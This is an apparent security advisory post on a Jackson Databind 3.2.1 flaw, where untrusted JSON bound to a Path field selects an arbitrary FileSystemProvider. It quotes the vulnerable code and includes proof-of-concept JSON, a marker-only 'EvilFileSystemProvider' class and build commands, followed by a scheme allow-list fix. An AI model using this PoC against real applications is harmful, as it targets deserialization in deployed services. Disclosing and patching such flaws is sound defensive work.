Jackson Databind, Untrusted Path Provider Resolution, CVE ID: Not Provided -DC-Sep2026-2597

Listen to this Post

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize.
The attacker string flows through new URI(value) then Path.of(uri).
If Path.of throws FileSystemNotFoundException, the code enters a ServiceLoader enumeration.

The enumeration loads registered FileSystemProvider implementations.

It compares provider.getScheme() with the attacker URI scheme.

On a case-insensitive match, it calls provider.getPath(uri).

No scheme is rejected by the library.

Therefore untrusted JSON can select an arbitrary registered provider.

This happens under default JsonMapper.builder().build().

The vulnerable location is src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java.

The relevant path is STD_PATH to NioPathHelper.deserialize.

The body performs new URI, Path.of(uri), ServiceLoader.load(FileSystemProvider.class), provider.getPath(uri).

The attacker controls the URI string and its scheme.
The attacker URI is passed directly to the selected provider.
The ServiceLoader enumeration also forces provider classloading during readValue.

Built-in providers include file and jar/zipfs.

Built-in providers do no network I/O.

Built-in providers do not mount a filesystem automatically.

For built-in schemes like jar:, getPath throws FileSystemNotFoundException.

A mount requires explicit newFileSystem.

The failure surfaces as a wrapped ValueInstantiationException.

That built-in path is inert without a side-effecting third-party provider.
Real impact requires a third-party FileSystemProvider on the classpath.
PoC 1 shows the jar: scheme reaching the ServiceLoader fallback.
PoC 2 registers a custom provider with scheme evilscheme.
PoC 2 proves attacker JSON reaches provider.getPath(attackerURI) inside readValue.
The provider static initializer runs and getPath receives the full attacker URI.
Whether that provider does harm is outside Jackson’s control.
The in-scope defect is the missing scheme restriction before fallback.

The recommended fix is a hard-coded scheme allow-list.

DailyCVE Form:

Platform: Jackson Databind
Version: 3.2.1
Vulnerability: Untrusted Path provider
Severity: Not specified
date: Not specified

Prediction: Unknown

What Undercode Say:

Analytics:

0. Locate the three published dependency jars.
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"
1. Compile the three sources.
cd poc-project
mkdir -p out
javac -cp "$CP" -d out \
src/main/java/com/poc/EvilFileSystemProvider.java \
src/main/java/com/poc/Vuln04_PathProvider.java \
src/main/java/com/poc/Vuln04b_PathProviderMount.java
2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).
mkdir -p out/META-INF/services
cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \
out/META-INF/services/java.nio.file.spi.FileSystemProvider
3. Run both PoCs.
java -cp "out:$CP" com.poc.Vuln04_PathProvider PoC 1
java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount PoC 2
int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value);
try {
return Path.of(uri);
} catch (FileSystemNotFoundException cause) {
final String scheme = uri.getScheme();
for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
if (provider.getScheme().equalsIgnoreCase(scheme)) {
return provider.getPath(uri);
}
}
ctxt.handleInstantiationProblem(...);
}

Exploit: (Educational Purposes!)

public class Config { public Path workdir; }
ObjectMapper mapper = JsonMapper.builder().build();
String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
Config c = mapper.readValue(json, Config.class);
package com.poc;
import java.nio.file.;
import java.nio.file.spi.FileSystemProvider;
import java.net.URI;
public class EvilFileSystemProvider extends FileSystemProvider {
public static volatile boolean STATIC_INIT_RAN = false;
public static volatile String GET_PATH_URI = null;
static { STATIC_INIT_RAN = true; }
@Override public String getScheme() { return "evilscheme"; }
@Override public Path getPath(URI uri) {
GET_PATH_URI = uri.toString();
System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
}
}
com.poc.EvilFileSystemProvider

Protection: from this CVE

Restrict resolved scheme to fixed, hard-coded set.

Reject jar: and other schemes via ctxt.handleWeirdStringValue(…).

Skip ServiceLoader enumeration for disallowed schemes.

Document java.nio.file.Path fields should not be bound from untrusted JSON.

Impact:

Untrusted JSON drives provider.getPath(attackerURI) on an attacker-chosen provider during readValue.

With only JDK built-in providers this is inert.

Real impact requires a side-effecting third-party provider on the classpath.

The fix closes the scheme-restriction gap.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top